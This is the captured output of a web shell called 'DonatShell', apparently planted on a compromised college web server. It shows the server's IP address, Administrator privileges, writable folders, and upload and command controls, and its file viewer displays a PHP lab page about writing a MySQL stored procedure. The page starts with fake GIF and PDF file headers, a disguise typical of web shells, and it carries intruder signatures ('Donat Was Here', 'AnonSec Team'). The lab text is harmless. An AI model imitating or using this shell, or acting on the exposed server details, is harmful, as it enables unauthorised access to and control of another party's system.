GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1602/Labs/Lab07/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1602/Labs/Lab07/Lab07.phpinc
<?
// JimMartinson/CST1602/Labs/Lab05/Lab05.phpinc

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
require('application.phpinc');

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

$disabled = '';
#$disabled = ' disabled'; // Comment this line to enable lab.

?>
<fieldset><legend>Description</legend>
The purpose of this lab is to demonstrate your ability to create a stored procedure.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
<ol class="count">
	<li>Create a directory called <b><?=$evaluationName?></b> inside of your <b><?=$courseNumber?>\Labs</b> folder. We will use it for all work performed in this lab.</li>
	<li>
		Write a script to create a <b><span class="copyText">BalanceDue</span>()</b> procedure:
		<ol>
			<li>Uses the <b>classicmodels</b> database.</li>
			<li>Ensure the <b>BalanceDue()</b> procedure is removed if it exists.</li>
			<li>Create the <b>BalanceDue()</b> procedure that does the following:
				<ol>
					<li>Takes three parameters:
						<ul>
							<li><span class="copyText">IN p_customerNumber int</span></li>
							<li><span class="copyText">OUT p_HasBalanceDue varchar(3)</span></li>
							<li><span class="copyText">OUT p_AmountDue DECIMAL(10,2)</span></li>
						</ul>
					</li>
					<li>Calculates the <b>total orders amount</b> for the customer from the <b>orderdetails</b> and <b>orders</b> tables. Use the <b>SUM()</b> function.</li>
					<li>Calculates the <b>total amount paid</b> by the customer from the <b>payments</b> table. Use the <b>SUM()</b> function.</li>
					<li>Sets <b>p_HasBalanceDue</b> to "<b>Yes</b>" if the total orders amount is greater than the total amount paid, else "<b>No</b>".</li>
					<li>Sets <b>p_AmountDue</b> to any amount unpaid.</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>
		Save the script file as <b class="copyText"><?=$saveFilename?>-BalanceDue_proc.sql</b> in your <b><?=$evaluationName?></b> folder.
	</li>
	<li>
		Create the <b>BalanceDue()</b> procedure.
		<ol>
			<li>Execute the script.</li>
			<li>Refresh the SCHEMAS pane.</li>
			<li>Make sure the <b>classicmodels</b> database and <b>BalanceDue()</b> procedure are visible in the SCHEMAS pane.</li>
			<li>Make sure the <b><?=$saveFilename?>-BalanceDue.sql</b> script is visible in the query pane</li>
			<li>Take a screenshot and save it as <b><?=$saveFilename?>-a.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See example screenshot','Hide example screenshot'); ?><br><img src="JimMartinson-Lab03-a.png" width="1000" alt=""/><br><? showEnd(); ?>
			</li>
		</ol>
	</li>
	<li>
		Write a script to call the <b>BalanceDue()</b> procedure:
		<ol>
			<li>Sets a variable that holds the customer number.</li>
			<li>Calls the <b>BalanceDue</b> procedure with the above variable, a variable to hold the <b>HasBalanceDue</b> output, and a variable to hold the <b>AmountDue</b> output.</li>
			<li>Selects the <b>customerNumber</b>, <b>customerName</b>, <var class="copyText">@HasBalanceDue</var>, and <var class="copyText">@AmountDue</var> from the <b>customers</b> table for the customer. <span class="note">That <var>@HasBalanceDue</var> and <var>@AmountDue</var> are not acutally in the <b>customers</b> table but can be part of the select anyway.</span></li>
		</ol>
	</li>
	<li>
		Save the script file as <b class="copyText"><?=$saveFilename?>-BalanceDue_call.sql</b> in your <b><?=$evaluationName?></b> folder.
	</li>
	<li>
		Call the <b>BalanceDue()</b> procedure for customer <b>114</b>.
		<ol>
			<li>Set the variable that holds the customer number to <b>114</b>.</li>
			<li>Call the <b>BalanceDue()</b> procedure.</li>
			<li>Make sure the results are visiable.
				<br><span class="warning">WARNING: You may get back a <b>YES</b> result.
				<br>If you do, it is due to rounding errors caused by the binary storage of a DOUBLE variable.
				<br>You can use the convert function in the form <b>CONVERT(<var><span class="warning">value</span></var>,DECIMAL(8,2))</b> to fix the problem (where <var><span class="warning">value</span></var> is the <b>SUM()</b> function or the <b>AmountDue</b> variable).
				<br>I did this for the <b>total orders amount</b> in step 2.3.2 and the <b>total amount paid</b> in step 2.3.3.</span>
			</li>
			<li>Take a screenshot and save it as <b class="copyText"><?=$saveFilename?>-b.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See example screenshot','Hide example screenshot'); ?><br><img src="JimMartinson-Lab03-b.png" width="1000" alt=""/><br><? showEnd(); ?>
			</li>
		</ol>
	</li>
	<li>
		Call the <b>BalanceDue()</b> procedure for customer <b>119</b>.
		<ol>
			<li>Set the variable that holds the customer number to <b>119</b>.</li>
			<li>Call the <b>BalanceDue()</b> procedure.</li>
			<li>Make sure the results are visiable.</li>
			<li>Take a screenshot and save it as <b class="copyText"><?=$saveFilename?>-c.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See example screenshot','Hide example screenshot'); ?><br><img src="JimMartinson-Lab03-c.png" width="1000" alt=""/><br><? showEnd(); ?>
			</li>
		</ol>
	</li>
	</li>
	<li>Turn in your assignment:
		<ol type="a">
			<li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:
				<ul>
					<li><?=$saveFilename?>-BalanceDue_proc.sql</li>
					<li><?=$saveFilename?>-BalanceDue_call.sql</li>
					<li><?=$saveFilename?>-a.png</li>
					<li><?=$saveFilename?>-b.png</li>
					<li><?=$saveFilename?>-c.png</li>
				</ul>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
	</li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br><? } ?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
#require('../../ReferencesResources.phpinc');
#require('JimMartinson/ContactInformation.phpinc');
require('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team